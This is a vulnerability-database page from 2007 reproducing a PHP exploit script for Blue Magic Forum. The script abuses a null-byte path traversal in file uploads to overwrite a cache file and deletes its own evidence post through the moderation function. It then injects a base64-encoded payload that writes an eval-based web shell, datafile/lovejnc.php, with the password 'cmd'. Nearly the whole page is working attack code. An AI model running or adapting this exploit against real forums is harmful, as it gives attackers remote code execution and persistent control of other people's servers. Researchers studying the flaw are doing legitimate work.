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bmforum漏洞exp

🗓️ 14 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

bmforum漏洞exp, exploit for Blue Magic Forum, allows unauthorized remote code execution through malicious crafted HTTP post requests

Code

                                                <?php
print_r("

+------------------------------------------------------------------+

Exploit For Blue Magic Forum All Version
Fuck Register Global && Magic Quote 
BY 拖鞋王子 Mokfly 媒婆X 
Just For Fun :)

+------------------------------------------------------------------+


");


ini_set("max_execution_time",0);
error_reporting(7);

$bbspath="$argv[2]";
$server="$argv[1]";
$cookie='AJSTAT_ok_times=2; userlanguage=gb; bmsess=0c1a833d1707645f61dfffb04e140dae; lastpath=%2Findex.php; lastvisit_fr=1168661353; AJSTAT_ok_pages=6; regvisit_fr=1168661350; bmforumerboardidnum=21516; bmforumerboardpbmfym=1dbfbc45a9e8d8a614eab64691f38dbd';
$forumid="$argv[3]";
$useragent="mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)";

$evilpath='../'.'datafile/cache/bmbcode.php'.chr(0).chr(0);

$content_type='multipart/form-data; boundary=---------------------------7d70e70250';


function send($cmd,$path)
{
global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip,$content_type;

$path=$bbspath."$path";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content_type\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";

// echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}


$data=<<<www_loveshell_net
-----------------------------7d70e70250
Content-Disposition: form-data; name="articlecontent"

yumenna
-----------------------------7d70e70250
Content-Disposition: form-data; name="upload_bname"

$evilpath
-----------------------------7d70e70250
Content-Disposition: form-data; name="__EVENTARGUMENT"

Save
-----------------------------7d70e70250
Content-Disposition: form-data; name="font"


-----------------------------7d70e70250
Content-Disposition: form-data; name="articletitle"

loveshell
-----------------------------7d70e70250
Content-Disposition: form-data; name="articledes"

boring
-----------------------------7d70e70250
Content-Disposition: form-data; name="usesignature"

checkbox
-----------------------------7d70e70250
Content-Disposition: form-data; name="actioneot"

yes
-----------------------------7d70e70250
Content-Disposition: form-data; name="autourl"

yes
-----------------------------7d70e70250
Content-Disposition: form-data; name="postweiwang"

5
-----------------------------7d70e70250
Content-Disposition: form-data; name="sellmoney"

0
-----------------------------7d70e70250
Content-Disposition: form-data; name="giftmoney"

0
-----------------------------7d70e70250
Content-Disposition: form-data; name="tagsse"


-----------------------------7d70e70250
Content-Disposition: form-data; name="tags"


-----------------------------7d70e70250
Content-Disposition: form-data; name="attachdes[]"


-----------------------------7d70e70250
Content-Disposition: form-data; name="attachment[]"; filename="C:\Documents and Settings\Loveshell.MY-TOMATO\妗岄潰\he.txt"
Content-Type: text/plain

loveshell
-----------------------------7d70e70250
Content-Disposition: form-data; name="upload_num"

1
-----------------------------7d70e70250
Content-Disposition: form-data; name="_bmb:MainContent:SaveButton"

鍙?琛?
-----------------------------7d70e70250
Content-Disposition: form-data; name="step"

2
-----------------------------7d70e70250
Content-Disposition: form-data; name="type"


-----------------------------7d70e70250
Content-Disposition: form-data; name="action"

new
-----------------------------7d70e70250
Content-Disposition: form-data; name="form_name"

__bmbForm
-----------------------------7d70e70250
Content-Disposition: form-data; name="page"


-----------------------------7d70e70250
Content-Disposition: form-data; name="forumid"

$forumid
-----------------------------7d70e70250
Content-Disposition: form-data; name="article"


-----------------------------7d70e70250
Content-Disposition: form-data; name="tid"


-----------------------------7d70e70250--

www_loveshell_net;

$response=iconv("UTF-8", "gbk",send($data,'post.php'));

if(strpos($response,'成功发表一个新帖子')) echo "Make Evil Post\tOk......\n";
else die('Error');
preg_match('/topic\.php(.+)postend/i',$response,$mathces);
$posturl=$mathces[0];

$response=iconv("UTF-8", "gbk",send('',$posturl));
preg_match('/post\.php\?action\=modify(.+)(\d+)/i',$response,$mathces);
$modifyurl=$mathces[0];

$modifyurl=str_replace('&','&',$modifyurl);


$data=<<<www_loveshell_net
-----------------------------7d70e70250
Content-Disposition: form-data; name="articlecontent"

yumenna
-----------------------------7d70e70250
Content-Disposition: form-data; name="__EVENTARGUMENT"

Save
-----------------------------7d70e70250
Content-Disposition: form-data; name="font"


-----------------------------7d70e70250
Content-Disposition: form-data; name="articletitle"

loveshell
-----------------------------7d70e70250
Content-Disposition: form-data; name="articledes"


-----------------------------7d70e70250
Content-Disposition: form-data; name="usesignature"

checkbox
-----------------------------7d70e70250
Content-Disposition: form-data; name="actioneot"

yes
-----------------------------7d70e70250
Content-Disposition: form-data; name="autourl"

yes
-----------------------------7d70e70250
Content-Disposition: form-data; name="postweiwang"

5
-----------------------------7d70e70250
Content-Disposition: form-data; name="sellmoney"

0
-----------------------------7d70e70250
Content-Disposition: form-data; name="giftmoney"

0
-----------------------------7d70e70250
Content-Disposition: form-data; name="tagsse"


-----------------------------7d70e70250
Content-Disposition: form-data; name="tags"


-----------------------------7d70e70250
Content-Disposition: form-data; name="delactupload[a0]"

checkbox
-----------------------------7d70e70250
Content-Disposition: form-data; name="attachdes[]"


-----------------------------7d70e70250
Content-Disposition: form-data; name="attachment[]"; filename=""
Content-Type: application/octet-stream


-----------------------------7d70e70250
Content-Disposition: form-data; name="upload_num"

1
-----------------------------7d70e70250
Content-Disposition: form-data; name="_bmb:MainContent:SaveButton"

鍙?琛?
-----------------------------7d70e70250
Content-Disposition: form-data; name="step"

2
-----------------------------7d70e70250
Content-Disposition: form-data; name="type"


-----------------------------7d70e70250
Content-Disposition: form-data; name="action"

modify
-----------------------------7d70e70250
Content-Disposition: form-data; name="form_name"

__bmbForm
-----------------------------7d70e70250

www_loveshell_net;

$response=iconv("UTF-8", "gbk",send($data,$modifyurl));

if(strpos($response,'编辑帖子成功')) echo "Make Evil modify\tOK......\r\n";
else die('Make Evil modify Faild......');

$content_type='application/x-www-form-urlencoded';


parse_str($modifyurl, $temp);
//print_r($temp);
$delurl="misc.php?p=manage&action=del&forumid=$temp[forumid]&filename=$temp[filename]";
$response=iconv("UTF-8", "gbk",send($data,$delurl));
preg_match('/verify\'\ value=\'(.+)\'/i',$response,$mathces);
$verify=$mathces[1];
if($verify) {
$delurl="misc.php?p=manage";
$data="reasonselection=%E6%81%B6%E6%84%8F%E7%81%8C%E6%B0%B4%0D&actionreason=%E6%81%B6%E6%84%8F%E7%81%8C%E6%B0%B4&action=del&filename=$temp[filename]&forumid=$temp[forumid]&step=2&verify=$verify";
$response=iconv("UTF-8", "gbk",send($data,$delurl));
if(strpos($response,'执行成功')) echo "Del the Hence\t OK ......\r\n" ;
}
else echo "Del the Hence Failed...\r\n";


$data='tcode_count=3&tcode_item[1][enable]=1&tcode_item[1][refrom]=Ly9pZQ==&tcode_item[1][reto]=ZnB1dHMoZm9wZW4oJ2RhdGFmaWxlL2xvdmVqbmMucGhwJywndysnKSwnPD9AZXZhbCgkX1BPU1RbY21kXSk/PicpOw==';

$evilurl='bmbcode.php';
$response=iconv("UTF-8", "gbk",send($data,$evilurl));

$response=send($data,'datafile/lovejnc.php');
if(preg_match('/HTTP\/1.(\d+) 200/i',$response)) echo "Got It datafile/lovejnc.php,Password=cmd :)\r\n";
else die("Maybe Something Wrong :( \r\n");


?>

                              

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14 Jan 2007 00:00Current
7.1High risk
Vulners AI Score7.1
23